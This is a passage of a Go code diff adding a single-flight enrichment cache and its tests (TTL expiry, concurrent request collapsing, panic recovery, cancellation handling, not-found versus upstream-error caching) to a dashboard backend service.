+// lastGoodOrZero returns the entry's serveable last-good value and its version
+// (available) if one exists, else the zero value (unavailable). Used when a
+// caller's ctx is canceled while joining an in-flight fetch: a canceled caller
+// must never block, but should still serve a serveable last-good if the cache
+// holds one. A cached negative is not serveable stale (see
+// cacheEntry.staleServeable), so it degrades here too rather than surfacing a
+// stale not-found on cancellation.
+func (c *singleFlightCache[K, V]) lastGoodOrZero(key K) (V, uint64, bool) {
+	c.mu.Lock()
+	defer c.mu.Unlock()
+	if e, ok := c.entries[key]; ok && e.hasValue && e.staleServeable {
+		return e.value, e.version, true
+	}
+	var zero V
+	return zero, 0, false
+}
+
+// ── Cached payload shapes ─────────────────────────────────────────────────
+
+// cachedSessions is the value stored in the sessions cache: the projected
+// dashboard session slice. Immutable after build (fetchSessionsUpstream returns a
+// fresh slice), so it is safe to share across callers by value.
+type cachedSessions struct {
+	items []runproj.DashboardSession
+}
+
+// cachedFormulaDetail is the value stored in the formula cache. It preserves the
+// full fetch outcome — the compiled detail on success, or the NotFound vs
+// UpstreamError distinction on a definitive failure — so runproj renders the
+// right operator diagnostic. A cached not-found is a real (negative) cache entry,
+// distinct from a transient upstream error which is not cached (the cold-miss
+// degrade path handles it).
+type cachedFormulaDetail struct {
+	detail  *runproj.FormulaOrderingDetail
+	failure runproj.RunFormulaDetailFetchFailure
+}
+
+// formulaCacheKey is the full identity a compiled formula resolves against: the
+// city, the formula name, the run target, and the scope (kind+ref) that selects
+// the formula search layer. Two runs that differ in any of these resolve to
+// different compiled formulas, so all four are part of the key.
+type formulaCacheKey struct {
+	name      string
+	formula   string
+	target    string
+	scopeKind string
+	scopeRef  string
+}
diff --git a/internal/api/dashboardbff/enrichment_cache_test.go b/internal/api/dashboardbff/enrichment_cache_test.go
new file mode 100644
index 0000000000..4f19902eda
--- /dev/null
+++ b/internal/api/dashboardbff/enrichment_cache_test.go
@@ -0,0 +1,731 @@
+package dashboardbff
+
+import (
+	"context"
+	"net/http"
+	"net/http/httptest"
+	"sync"
+	"sync/atomic"
+	"testing"
+	"time"
+
+	"github.com/gastownhall/gascity/internal/runproj"
+)
+
+// enrichmentCacheTestServer stands up a fake supervisor that counts sessions and
+// formula hits and can gate a request open on a barrier so a test can force
+// concurrent callers to overlap inside one in-flight fetch. sessionsBody /
+// formulaStatus are read once per request; formulaStatus 0 means "200 with the
+// canonical body".
+type enrichmentCacheTestServer struct {
+	sessionsHits atomic.Int64
+	formulaHits  atomic.Int64
+
+	// gate, when non-nil, blocks every handler until it is closed, so a test can
+	// hold N callers inside one in-flight fetch and prove single-flight.
+	gate chan struct{}
+
+	formulaStatus atomic.Int64 // 0 -> 200 canonical body; else the status to return
+}
+
+func (s *enrichmentCacheTestServer) handler() http.Handler {
+	return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
+		if s.gate != nil {
+			<-s.gate
+		}
+		switch r.URL.Path {
+		case "/v0/city/alpha/sessions":
+			s.sessionsHits.Add(1)
+			w.Header().Set("Content-Type", "application/json")
+			_, _ = w.Write([]byte(`{"items":[{"id":"s1","template":"t","session_name":"alpha__worker-1","title":"W","alias":"worker-1","state":"active","created_at":"2026-06-01T10:00:00Z","last_active":"2026-06-01T11:00:00Z","attached":false,"running":true,"activity":"thinking","provider":"claude"}],"total":1}`))
+		case "/v0/city/alpha/formulas/mol-adopt-pr-v2":
+			s.formulaHits.Add(1)
+			if code := s.formulaStatus.Load(); code != 0 {
+				w.WriteHeader(int(code))
+				return
+			}
+			w.Header().Set("Content-Type", "application/json")
+			_, _ = w.Write([]byte(`{"name":"mol-adopt-pr-v2","steps":[{"id":"preflight"},{"id":"apply-fixes"}],"preview":{"nodes":[{"id":"preflight"},{"id":"apply-fixes"}]}}`))
+		default:
+			w.WriteHeader(http.StatusNotFound)
+		}
+	})
+}
+
+func newEnrichmentManager(t *testing.T, baseURL string) *runTailerManager {
+	t.Helper()
+	m := newRunTailerManager(Deps{SupervisorBaseURL: baseURL})
+	return m
+}
+
+// TestSingleFlightCacheRecoversAfterComputePanic proves a panic inside compute
+// does not permanently wedge the key. The dashboardbff plane runs under
+// withRecovery, so a compute panic is caught and the process keeps serving; the
+// deferred release in get() must still clear inflight and close the in-flight
+// channel so a later caller re-elects and succeeds instead of blocking forever
+// on an orphaned channel.
+func TestSingleFlightCacheRecoversAfterComputePanic(t *testing.T) {
+	c := newSingleFlightCache[string, cachedSessions]()
+
+	// First caller: compute panics. Recover it here, mimicking withRecovery. The
+	// panic must PROPAGATE out of get (not be swallowed), while the deferred
+	// release still clears the key.
+	func() {
+		defer func() { _ = recover() }()
+		c.get(context.Background(), "alpha", func(context.Context) (cachedSessions, time.Duration, bool, bool) {
+			panic("boom")
+		})
+		t.Fatal("expected the panicking compute to propagate out of get")
+	}()
+
+	// A subsequent caller for the SAME key must make progress, not deadlock on an
+	// orphaned inflight channel.
+	done := make(chan struct{})
+	var ok bool
+	go func() {
+		defer close(done)
+		_, ok = c.get(context.Background(), "alpha", func(context.Context) (cachedSessions, time.Duration, bool, bool) {
+			return cachedSessions{items: []runproj.DashboardSession{}}, sessionsCacheTTL, true, true
+		})
+	}()
+	select {
+	case <-done:
+	case <-time.After(2 * time.Second):
+		t.Fatal("post-panic get deadlocked on an orphaned inflight channel")
+	}
+	if !ok {
+		t.Fatal("post-panic get: want available=true after a clean re-election, got false")
+	}
+}
+
+// TestSingleFlightCacheElectorCancelDoesNotCancelSharedCompute proves the elected
+// single-flight compute is decoupled from the electing caller's request context:
+// if the elector's ctx is canceled while a joiner is still waiting on the shared
+// flight, the shared compute must NOT be canceled, and the still-live joiner must
+// receive the compute's real (successful) result instead of a canceled/degraded
+// one. Before the fix the elector ran compute on its own request ctx, so an
+// elector whose client disconnected mid-fetch canceled the shared upstream request
+// and handed every joined caller a failed result rather than their own enrichment.
+func TestSingleFlightCacheElectorCancelDoesNotCancelSharedCompute(t *testing.T) {
+	c := newSingleFlightCache[string, int]()
+
+	var (
+		startOnce     sync.Once
+		started       = make(chan struct{}) // closed when the elected compute begins
+		release       = make(chan struct{}) // closed by the test to let compute finish
+		computeCalls  atomic.Int64          // must stay 1: the joiner joins, never re-elects
+		computeCtxErr error                 // compute's own ctx error, sampled after release
+	)
+	compute := func(cctx context.Context) (int, time.Duration, bool, bool) {
+		computeCalls.Add(1)
+		startOnce.Do(func() { close(started) })
+		<-release
+		// Sample the compute context AFTER the elector's ctx was canceled. With the
+		// fix this stays nil (detached); the pre-fix code would see context.Canceled
+		// here, and a real upstream fetch on that ctx would abort.
+		computeCtxErr = cctx.Err()
+		if cctx.Err() != nil {
+			// Mirror a real upstream fetch aborting on a canceled ctx: report failure.
+			return 0, 0, false, false
+		}
+		return 42, time.Minute, true, true
+	}
+
+	electorCtx, cancelElector := context.WithCancel(context.Background())
+	joinerCtx := context.Background() // the joiner stays live throughout
+
+	var (
+		electorVal, joinerVal int
+		electorOK, joinerOK   bool
+	)
+	electorDone := make(chan struct{})
+	go func() {
+		defer close(electorDone)
+		electorVal, electorOK = c.get(electorCtx, "k", compute)
+	}()
+
+	<-started // the elector was elected and is inside compute
+
+	joinerDone := make(chan struct{})
+	go func() {
+		defer close(joinerDone)
+		joinerVal, joinerOK = c.get(joinerCtx, "k", compute)
+	}()
+
+	// Let the joiner reach the in-flight join before we cancel the elector.
+	time.Sleep(50 * time.Millisecond)
+
+	// The electing caller's client disconnects: cancel its request ctx while the
+	// joiner is still waiting on the shared flight.
+	cancelElector()
+	time.Sleep(20 * time.Millisecond) // give cancellation a chance to (wrongly) propagate
+
+	close(release) // let the shared compute finish
+
+	select {
+	case <-joinerDone:
+	case <-time.After(2 * time.Second):
+		t.Fatal("joiner never returned; the shared flight wedged")
+	}
+	<-electorDone
+
+	if got := computeCalls.Load(); got != 1 {
+		t.Fatalf("compute ran %d times, want 1 (the joiner must join the flight, not re-elect)", got)
+	}
+	if computeCtxErr != nil {
+		t.Fatalf("shared compute ctx was canceled (%v); the elected compute must be decoupled from the electing caller's request", computeCtxErr)
+	}
+	if !joinerOK || joinerVal != 42 {
+		t.Fatalf("joiner result = (%d,%v), want (42,true): a still-live joiner must get the shared compute's real result, not the canceled elector's degrade", joinerVal, joinerOK)
+	}
+	if !electorOK || electorVal != 42 {
+		t.Fatalf("elector result = (%d,%v), want (42,true): the elected compute completes under its detached ctx", electorVal, electorOK)
+	}
+}
+
+// TestSingleFlightCachePreCanceledColdCallerDoesNotElect proves a caller whose
+// request context is already canceled before a cold-miss get does NOT elect the
+// single-flight compute: it degrades to unavailable instead. Before the fix an
+// already-canceled request could still become the elector, and because the
+// elected compute runs under context.WithoutCancel(ctx) the detached fetch would
+// then run a full upstream loopback (bounded only by the fetch/backstop timeout)
+// on behalf of a caller that was already gone.
+func TestSingleFlightCachePreCanceledColdCallerDoesNotElect(t *testing.T) {
+	c := newSingleFlightCache[string, int]()
+
+	var computeCalls atomic.Int64
+	compute := func(context.Context) (int, time.Duration, bool, bool) {
+		computeCalls.Add(1)
+		return 42, time.Minute, true, true
+	}
+
+	ctx, cancel := context.WithCancel(context.Background())
+	cancel() // already canceled before get is even called
+
+	v, ok := c.get(ctx, "k", compute)
+	if got := computeCalls.Load(); got != 0 {
+		t.Fatalf("compute ran %d times, want 0 (a pre-canceled caller must not elect a detached flight)", got)
+	}
+	if ok || v != 0 {
+		t.Fatalf("pre-canceled cold get = (%d,%v), want (0,false): degrade to unavailable, not a detached compute", v, ok)
+	}
+}
+
+// TestSingleFlightCachePreCanceledCallerServesLastGoodOnExpiredKey proves a caller
+// whose context is already canceled at an EXPIRED key (past its TTL, so the
+// fresh-hit path no longer applies) still does not elect a refetch: it degrades to
+// the serveable last-good instead of driving a detached upstream compute for a
+// caller that is already gone. Before the fix the pre-canceled caller re-elected
+// and refetched, so compute ran a second time.
+func TestSingleFlightCachePreCanceledCallerServesLastGoodOnExpiredKey(t *testing.T) {
+	c := newSingleFlightCache[string, int]()
+
+	var computeCalls atomic.Int64
+	compute := func(context.Context) (int, time.Duration, bool, bool) {
+		computeCalls.Add(1)
+		return 7, 20 * time.Millisecond, true, true // staleServeable positive last-good, short TTL
+	}
+
+	// Seed a staleServeable positive last-good on a live ctx, then let it expire so
+	// the next get can no longer take the fresh-hit path.
+	if v, ok := c.get(context.Background(), "k", compute); !ok || v != 7 {
+		t.Fatalf("seed get = (%d,%v), want (7,true)", v, ok)
+	}
+	time.Sleep(40 * time.Millisecond)
+
+	ctx, cancel := context.WithCancel(context.Background())
+	cancel()
+
+	v, ok := c.get(ctx, "k", compute)
+	if got := computeCalls.Load(); got != 1 {
+		t.Fatalf("compute ran %d times, want 1 (a pre-canceled caller must not elect a refetch on the expired key)", got)
+	}
+	if !ok || v != 7 {
+		t.Fatalf("pre-canceled expired get = (%d,%v), want (7,true): serve the staleServeable last-good instead of a detached refetch", v, ok)
+	}
+}
+
+// TestSessionsCacheServesWithinTTL proves two reads inside the TTL hit the
+// supervisor exactly once (the second is served from cache).
+func TestSessionsCacheServesWithinTTL(t *testing.T) {
+	srv := &enrichmentCacheTestServer{}
+	ts := httptest.NewServer(srv.handler())
+	defer ts.Close()
+
+	m := newEnrichmentManager(t, ts.URL)
+	ctx := context.Background()
+
+	s1, ok1 := m.fetchSessions(ctx, "alpha")
+	s2, ok2 := m.fetchSessions(ctx, "alpha")
+	if !ok1 || !ok2 {
+		t.Fatalf("both reads must be available: %v %v", ok1, ok2)
+	}
+	if len(s1) != 1 || len(s2) != 1 {
+		t.Fatalf("both reads must carry the one session: %d %d", len(s1), len(s2))
+	}
+	if got := srv.sessionsHits.Load(); got != 1 {
+		t.Fatalf("sessions upstream hits = %d, want 1 (second read is cached)", got)
+	}
+}
+
+// TestSessionsCacheRefetchesAfterTTL proves a read past the TTL triggers a fresh
+// upstream fetch.
+func TestSessionsCacheRefetchesAfterTTL(t *testing.T) {
+	defer func(prev time.Duration) { sessionsCacheTTL = prev }(sessionsCacheTTL)
+	sessionsCacheTTL = 20 * time.Millisecond
+
+	srv := &enrichmentCacheTestServer{}
+	ts := httptest.NewServer(srv.handler())
+	defer ts.Close()
+
+	m := newEnrichmentManager(t, ts.URL)
+	ctx := context.Background()
+
+	if _, ok := m.fetchSessions(ctx, "alpha"); !ok {
+		t.Fatal("first read must be available")
+	}
+	time.Sleep(40 * time.Millisecond)
+	if _, ok := m.fetchSessions(ctx, "alpha"); !ok {
+		t.Fatal("second read must be available")
+	}
+	if got := srv.sessionsHits.Load(); got != 2 {
+		t.Fatalf("sessions upstream hits = %d, want 2 (TTL expired between reads)", got)
+	}
+}
+
+// TestSessionsCacheSingleFlight proves N concurrent cold-miss callers collapse
+// to exactly one upstream fetch. The fake handler blocks on a gate so every
+// caller is provably in-flight at once.
+func TestSessionsCacheSingleFlight(t *testing.T) {
+	srv := &enrichmentCacheTestServer{gate: make(chan struct{})}
+	ts := httptest.NewServer(srv.handler())
+	defer ts.Close()
+
+	m := newEnrichmentManager(t, ts.URL)
+	ctx := context.Background()
+
+	const n = 8
+	var wg sync.WaitGroup
+	var available atomic.Int64
+	wg.Add(n)
+	for i := 0; i < n; i++ {
+		go func() {
+			defer wg.Done()
+			if _, ok := m.fetchSessions(ctx, "alpha"); ok {
+				available.Add(1)
+			}
+		}()
+	}
+	// Give every goroutine time to reach the in-flight join before releasing.
+	time.Sleep(50 * time.Millisecond)
+	close(srv.gate)
+	wg.Wait()
+
+	if got := srv.sessionsHits.Load(); got != 1 {
+		t.Fatalf("sessions upstream hits = %d, want 1 (single-flight)", got)
+	}
+	if got := available.Load(); got != n {
+		t.Fatalf("available callers = %d, want %d (all joiners see the shared result)", got, n)
+	}
+}
+
+// TestSessionsCacheServesLastGoodOnError proves a fetch failure after a prior
+// success serves the last-good value with available=true (degrade, don't blank).
+func TestSessionsCacheServesLastGoodOnError(t *testing.T) {
+	defer func(prev time.Duration) { sessionsCacheTTL = prev }(sessionsCacheTTL)
+	sessionsCacheTTL = 20 * time.Millisecond
+
+	var down atomic.Bool
+	var hits atomic.Int64
+	ts := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, _ *http.Request) {
+		hits.Add(1)
+		if down.Load() {
+			w.WriteHeader(http.StatusInternalServerError)
+			return
+		}
+		w.Header().Set("Content-Type", "application/json")
+		_, _ = w.Write([]byte(`{"items":[{"id":"s1","alias":"worker-1","state":"active"}],"total":1}`))
+	}))
+	defer ts.Close()
+
+	m := newEnrichmentManager(t, ts.URL)
+	ctx := context.Background()
+
+	if s, ok := m.fetchSessions(ctx, "alpha"); !ok || len(s) != 1 {
+		t.Fatalf("first read must succeed with one session: ok=%v n=%d", ok, len(s))
+	}
+	down.Store(true)
+	time.Sleep(40 * time.Millisecond) // let the TTL lapse so the next read refetches
+
+	s, ok := m.fetchSessions(ctx, "alpha")
+	if !ok {
+		t.Fatal("read after a failure must serve last-good (available=true)")
+	}
+	if len(s) != 1 {
+		t.Fatalf("last-good sessions = %d, want 1", len(s))
+	}
+	if hits.Load() < 2 {
+		t.Fatalf("upstream hits = %d, want >=2 (the failing refetch was attempted)", hits.Load())
+	}
+}
+
+// TestSessionsCacheColdFailureDegrades proves a cold-miss failure with no
+// last-good degrades EXACTLY as the uncached path: (nil, false).
+func TestSessionsCacheColdFailureDegrades(t *testing.T) {
+	ts := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, _ *http.Request) {
+		w.WriteHeader(http.StatusInternalServerError)
+	}))
+	defer ts.Close()
+
+	m := newEnrichmentManager(t, ts.URL)
+	s, ok := m.fetchSessions(context.Background(), "alpha")
+	if ok || s != nil {
+		t.Fatalf("cold failure must degrade to (nil,false); got n=%d ok=%v", len(s), ok)
+	}
+}
+
+// TestSessionsCacheColdFailureSingleFlight proves a burst of concurrent cold-miss
+// callers whose shared fetch FAILS collapses onto ONE upstream hit — every waiter
+// returns that one failed flight's (nil,false) degrade instead of waking and
+// re-electing itself to refetch serially. Regression for the single-flight
+// burst-collapse contract on the negative path (the pre-fix code re-elected each
+// waiter, producing one supervisor request per dashboard request).
+func TestSessionsCacheColdFailureSingleFlight(t *testing.T) {
+	var hits atomic.Int64
+	gate := make(chan struct{})
+	ts := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, _ *http.Request) {
+		<-gate // hold every caller in-flight until released, proving overlap
+		hits.Add(1)
+		w.WriteHeader(http.StatusInternalServerError)
+	}))
+	defer ts.Close()
+
+	m := newEnrichmentManager(t, ts.URL)
+	ctx := context.Background()
+
+	const n = 8
+	var wg sync.WaitGroup
+	var degraded atomic.Int64
+	wg.Add(n)
+	for i := 0; i < n; i++ {
+		go func() {
+			defer wg.Done()
+			if s, ok := m.fetchSessions(ctx, "alpha"); !ok && s == nil {
+				degraded.Add(1)
+			}
+		}()
+	}
+	time.Sleep(50 * time.Millisecond) // let every caller reach the in-flight join
+	close(gate)
+	wg.Wait()
+
+	if got := hits.Load(); got != 1 {
+		t.Fatalf("sessions upstream hits = %d, want 1 (a failed cold flight is shared, not re-elected per waiter)", got)
+	}
+	if got := degraded.Load(); got != n {
+		t.Fatalf("degraded callers = %d, want %d (every waiter shares the one failed flight's (nil,false))", got, n)
+	}
+}
+
+// TestFormulaCacheServesWithinTTL proves two formula reads inside the TTL hit the
+// supervisor once and both resolve to the same available detail.
+func TestFormulaCacheServesWithinTTL(t *testing.T) {
+	srv := &enrichmentCacheTestServer{}
+	ts := httptest.NewServer(srv.handler())
+	defer ts.Close()
+
+	m := newEnrichmentManager(t, ts.URL)
+	ctx := context.Background()
+
+	d1, f1, _, ok1 := m.fetchFormulaDetailVersioned(ctx, "alpha", "mol-adopt-pr-v2", "rig:demo", "rig", "demo")
+	d2, f2, _, ok2 := m.fetchFormulaDetailVersioned(ctx, "alpha", "mol-adopt-pr-v2", "rig:demo", "rig", "demo")
+	if !ok1 || !ok2 {
+		t.Fatalf("both formula reads must succeed: %v %v (failures %q %q)", ok1, ok2, f1, f2)
+	}
+	if d1 == nil || d2 == nil || d1.Name != "mol-adopt-pr-v2" {
+		t.Fatalf("both reads must carry the compiled detail: %+v %+v", d1, d2)
+	}
+	if got := srv.formulaHits.Load(); got != 1 {
+		t.Fatalf("formula upstream hits = %d, want 1 (second read cached)", got)
+	}
+}
+
+// TestFormulaCacheSingleFlight proves concurrent cold-miss formula callers
+// collapse to one upstream fetch.
+func TestFormulaCacheSingleFlight(t *testing.T) {
+	srv := &enrichmentCacheTestServer{gate: make(chan struct{})}
+	ts := httptest.NewServer(srv.handler())
+	defer ts.Close()
+
+	m := newEnrichmentManager(t, ts.URL)
+	ctx := context.Background()
+
+	const n = 8
+	var wg sync.WaitGroup
+	var okCount atomic.Int64
+	wg.Add(n)
+	for i := 0; i < n; i++ {
+		go func() {
+			defer wg.Done()
+			if _, _, _, ok := m.fetchFormulaDetailVersioned(ctx, "alpha", "mol-adopt-pr-v2", "rig:demo", "rig", "demo"); ok {
+				okCount.Add(1)
+			}
+		}()
+	}
+	time.Sleep(50 * time.Millisecond)
+	close(srv.gate)
+	wg.Wait()
+
+	if got := srv.formulaHits.Load(); got != 1 {
+		t.Fatalf("formula upstream hits = %d, want 1 (single-flight)", got)
+	}
+	if got := okCount.Load(); got != n {
+		t.Fatalf("ok callers = %d, want %d", got, n)
+	}
+}
+
+// TestFormulaCacheNotFoundReCheckedOnShortTTL proves a 404 is cached as
+// FormulaDetailNotFound and re-checked on the SHORT not-found TTL — not the long
+// success TTL — so a newly-added formula appears promptly.
+func TestFormulaCacheNotFoundReCheckedOnShortTTL(t *testing.T) {
+	defer func(prevOK, prevMiss time.Duration) {
+		formulaCacheTTL = prevOK
+		formulaNotFoundTTL = prevMiss
+	}(formulaCacheTTL, formulaNotFoundTTL)
+	// A long success TTL and a short not-found TTL: if the 404 were cached on the
+	// success TTL it would never re-check inside the test window.
+	formulaCacheTTL = 10 * time.Second
+	formulaNotFoundTTL = 20 * time.Millisecond
+
+	srv := &enrichmentCacheTestServer{}
+	srv.formulaStatus.Store(http.StatusNotFound)
+	ts := httptest.NewServer(srv.handler())
+	defer ts.Close()
+
+	m := newEnrichmentManager(t, ts.URL)
+	ctx := context.Background()
+
+	// First read: 404 -> not_found, cached.
+	_, failure, _, ok := m.fetchFormulaDetailVersioned(ctx, "alpha", "mol-adopt-pr-v2", "rig:demo", "rig", "demo")
+	if ok {
+		t.Fatal("a 404 formula fetch must not report ok")
+	}
+	if failure != runproj.FormulaDetailNotFound {
+		t.Fatalf("failure = %q, want not_found", failure)
+	}
+	// Second read inside the short TTL: served from the cached not-found entry, no
+	// new upstream hit.
+	if _, f2, _, ok2 := m.fetchFormulaDetailVersioned(ctx, "alpha", "mol-adopt-pr-v2", "rig:demo", "rig", "demo"); ok2 || f2 != runproj.FormulaDetailNotFound {
+		t.Fatalf("cached not-found read: ok=%v failure=%q, want not_found", ok2, f2)
+	}
+	if got := srv.formulaHits.Load(); got != 1 {
+		t.Fatalf("formula hits = %d, want 1 (second read within short TTL is cached)", got)
+	}
+
+	// After the SHORT not-found TTL lapses, the formula becomes available upstream.
+	time.Sleep(40 * time.Millisecond)
+	srv.formulaStatus.Store(0) // 200 canonical body
+	d, _, _, ok := m.fetchFormulaDetailVersioned(ctx, "alpha", "mol-adopt-pr-v2", "rig:demo", "rig", "demo")
+	if !ok || d == nil {
+		t.Fatalf("after the short not-found TTL the newly-added formula must resolve: ok=%v d=%+v", ok, d)
+	}
+	if got := srv.formulaHits.Load(); got != 2 {
+		t.Fatalf("formula hits = %d, want 2 (the not-found entry expired and refetched)", got)
+	}
+}
+
+// TestFormulaCacheColdFailureDegrades proves a cold-miss upstream error (non-404)
+// with no last-good degrades to (nil, upstream_error, false) — the uncached
+// contract.
+func TestFormulaCacheColdFailureDegrades(t *testing.T) {
+	srv := &enrichmentCacheTestServer{}
+	srv.formulaStatus.Store(http.StatusInternalServerError)
+	ts := httptest.NewServer(srv.handler())
+	defer ts.Close()
+
+	m := newEnrichmentManager(t, ts.URL)
+	d, failure, _, ok := m.fetchFormulaDetailVersioned(context.Background(), "alpha", "mol-adopt-pr-v2", "rig:demo", "rig", "demo")
+	if ok || d != nil {
+		t.Fatalf("cold upstream error must degrade to (nil,...,false); got d=%+v ok=%v", d, ok)
+	}
+	if failure != runproj.FormulaDetailUpstreamError {
+		t.Fatalf("failure = %q, want upstream_error", failure)
+	}
+}
+
+// TestFormulaCacheColdFailureSingleFlight proves the same negative-path
+// burst-collapse for the formula cache: concurrent cold-miss callers whose shared
+// fetch returns a non-404 upstream error all resolve to (nil, upstream_error,
+// false) from ONE upstream hit, not one re-elected refetch per waiter.
+func TestFormulaCacheColdFailureSingleFlight(t *testing.T) {
+	var hits atomic.Int64
+	gate := make(chan struct{})
+	ts := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, _ *http.Request) {
+		<-gate
+		hits.Add(1)
+		w.WriteHeader(http.StatusInternalServerError)
+	}))
+	defer ts.Close()
+
+	m := newEnrichmentManager(t, ts.URL)
+	ctx := context.Background()
+
+	const n = 8
+	var wg sync.WaitGroup
+	var upstreamErr atomic.Int64
+	wg.Add(n)
+	for i := 0; i < n; i++ {
+		go func() {
+			defer wg.Done()
+			if d, f, ok := m.fetchFormulaDetail(ctx, "alpha", "mol-adopt-pr-v2", "rig:demo", "rig", "demo"); !ok && d == nil && f == runproj.FormulaDetailUpstreamError {
+				upstreamErr.Add(1)
+			}
+		}()
+	}
+	time.Sleep(50 * time.Millisecond)
+	close(gate)
+	wg.Wait()
+
+	if got := hits.Load(); got != 1 {
+		t.Fatalf("formula upstream hits = %d, want 1 (a failed cold flight is shared, not re-elected per waiter)", got)
+	}
+	if got := upstreamErr.Load(); got != n {
+		t.Fatalf("upstream_error degrades = %d, want %d (every waiter shares the one failed flight)", got, n)
+	}
+}
+
+// TestFormulaCacheExpiredNotFoundDoesNotMaskUpstreamError proves a cached 404 is
+// NOT served stale once its short TTL lapses: after the not-found window a fresh
+// upstream 500 must surface as FormulaDetailUpstreamError, not the stale
+// not_found. A negative last-good would otherwise pin a genuinely-missing verdict
+// over a live upstream failure, hiding the real operator diagnostic.
+func TestFormulaCacheExpiredNotFoundDoesNotMaskUpstreamError(t *testing.T) {
+	defer func(prev time.Duration) { formulaNotFoundTTL = prev }(formulaNotFoundTTL)
+	formulaNotFoundTTL = 20 * time.Millisecond
+
+	srv := &enrichmentCacheTestServer{}
+	srv.formulaStatus.Store(http.StatusNotFound)
+	ts := httptest.NewServer(srv.handler())
+	defer ts.Close()
+
+	m := newEnrichmentManager(t, ts.URL)
+	ctx := context.Background()
+
+	// First read: 404 -> cached not_found.
+	if _, failure, ok := m.fetchFormulaDetail(ctx, "alpha", "mol-adopt-pr-v2", "rig:demo", "rig", "demo"); ok || failure != runproj.FormulaDetailNotFound {
+		t.Fatalf("first read: ok=%v failure=%q, want not_found", ok, failure)
+	}
+
+	// Let the short not-found TTL lapse, then the upstream starts erroring (500).
+	time.Sleep(40 * time.Millisecond)
+	srv.formulaStatus.Store(http.StatusInternalServerError)
+
+	// The expired not_found MUST NOT be served stale to mask the live 500: the
+	// honest reason is upstream_error.
+	d, failure, ok := m.fetchFormulaDetail(ctx, "alpha", "mol-adopt-pr-v2", "rig:demo", "rig", "demo")
+	if ok || d != nil {
+		t.Fatalf("expired not_found + upstream 500 must degrade to (nil,...,false); got d=%+v ok=%v", d, ok)
+	}
+	if failure != runproj.FormulaDetailUpstreamError {
+		t.Fatalf("failure = %q, want upstream_error (stale not_found must not mask the 500)", failure)
+	}
+	if got := srv.formulaHits.Load(); got != 2 {
+		t.Fatalf("formula hits = %d, want 2 (the expired not_found refetched and hit the 500)", got)
+	}
+}
+
+// TestFormulaCacheExpiredNotFoundConcurrent500SingleFlight proves the hardest
+// negative-path case: after a cached not_found expires, a concurrent burst that
+// now hits a 500 collapses onto ONE refetch, and every waiter sees the honest
+// upstream_error degrade. It combines two contracts under concurrency — the
+// expired not_found must not be served stale to mask the 500, and it must not be
+// re-probed once per waiter.
+func TestFormulaCacheExpiredNotFoundConcurrent500SingleFlight(t *testing.T) {
+	defer func(prev time.Duration) { formulaNotFoundTTL = prev }(formulaNotFoundTTL)
+	formulaNotFoundTTL = 20 * time.Millisecond
+
+	var hits atomic.Int64
+	var status atomic.Int64
+	status.Store(http.StatusNotFound)
+	var gateActive atomic.Bool
+	gate := make(chan struct{})
+	ts := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, _ *http.Request) {
+		if gateActive.Load() {
+			<-gate // hold only the concurrent burst in-flight together
+		}
+		hits.Add(1)
+		w.WriteHeader(int(status.Load()))
+	}))
+	defer ts.Close()
+
+	m := newEnrichmentManager(t, ts.URL)
+	ctx := context.Background()
+
+	// Seed a cached not_found (ungated), then let its short TTL lapse.
+	if _, f, ok := m.fetchFormulaDetail(ctx, "alpha", "mol-adopt-pr-v2", "rig:demo", "rig", "demo"); ok || f != runproj.FormulaDetailNotFound {
+		t.Fatalf("seed read: ok=%v failure=%q, want not_found", ok, f)
+	}
+	time.Sleep(40 * time.Millisecond) // expire the not-found entry
+	status.Store(http.StatusInternalServerError)
+	gateActive.Store(true)
+
+	const n = 8
+	var wg sync.WaitGroup
+	var upstreamErr atomic.Int64
+	wg.Add(n)
+	for i := 0; i < n; i++ {
+		go func() {
+			defer wg.Done()
+			if d, f, ok := m.fetchFormulaDetail(ctx, "alpha", "mol-adopt-pr-v2", "rig:demo", "rig", "demo"); !ok && d == nil && f == runproj.FormulaDetailUpstreamError {
+				upstreamErr.Add(1)
+			}
+		}()
+	}
+	time.Sleep(50 * time.Millisecond)
+	close(gate)
+	wg.Wait()
+
+	// One seed hit + exactly one shared burst hit: the expired not_found refetch
+	// collapses to a single 500 flight, not one probe per waiter.
+	if got := hits.Load(); got != 2 {
+		t.Fatalf("formula upstream hits = %d, want 2 (1 seed + 1 shared burst flight)", got)
+	}
+	if got := upstreamErr.Load(); got != n {
+		t.Fatalf("upstream_error degrades = %d, want %d (expired not_found must not mask the shared 500)", got, n)
+	}
+}
+
+// TestFormulaCacheKeyedByScope proves the cache is keyed by the full
+// (name,target,scopeKind,scopeRef) tuple: two distinct scopes each get their own
+// upstream fetch rather than colliding on the formula name.
+func TestFormulaCacheKeyedByScope(t *testing.T) {
+	var hits atomic.Int64
+	seen := map[string]bool{}
+	var mu sync.Mutex
+	ts := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
+		hits.Add(1)
+		mu.Lock()
+		seen[r.URL.RawQuery] = true
+		mu.Unlock()
+		w.Header().Set("Content-Type", "application/json")
+		_, _ = w.Write([]byte(`{"name":"mol-adopt-pr-v2","steps":[],"preview":{"nodes":[]}}`))
+	}))
+	defer ts.Close()
+
+	m := newEnrichmentManager(t, ts.URL)
+	ctx := context.Background()
+
+	if _, _, _, ok := m.fetchFormulaDetailVersioned(ctx, "alpha", "mol-adopt-pr-v2", "rig:demo", "rig", "demo"); !ok {
+		t.Fatal("first scope must resolve")
+	}
+	if _, _, _, ok := m.fetchFormulaDetailVersioned(ctx, "alpha", "mol-adopt-pr-v2", "rig:other", "rig", "other"); !ok {
+		t.Fatal("second scope must resolve")
+	}
+	// Same key as the first read -> cached, no new hit.
+	if _, _, _, ok := m.fetchFormulaDetailVersioned(ctx, "alpha", "mol-adopt-pr-v2", "rig:demo", "rig", "demo"); !ok {
+		t.Fatal("repeat of the first scope must resolve")
+	}
+	if got := hits.Load(); got != 2 {
+		t.Fatalf("formula hits = %d, want 2 (two distinct scope keys, third read cached)", got)
+	}
+}
diff --git a/internal/api/dashboardbff/plane.go b/internal/api/dashboardbff/plane.go
index 83bd4f528a..7995299f1b 100644
--- a/internal/api/dashboardbff/plane.go
+++ b/internal/api/dashboardbff/plane.go
@@ -24,12 +24,24 @@ import (
 	"time"
 )
 
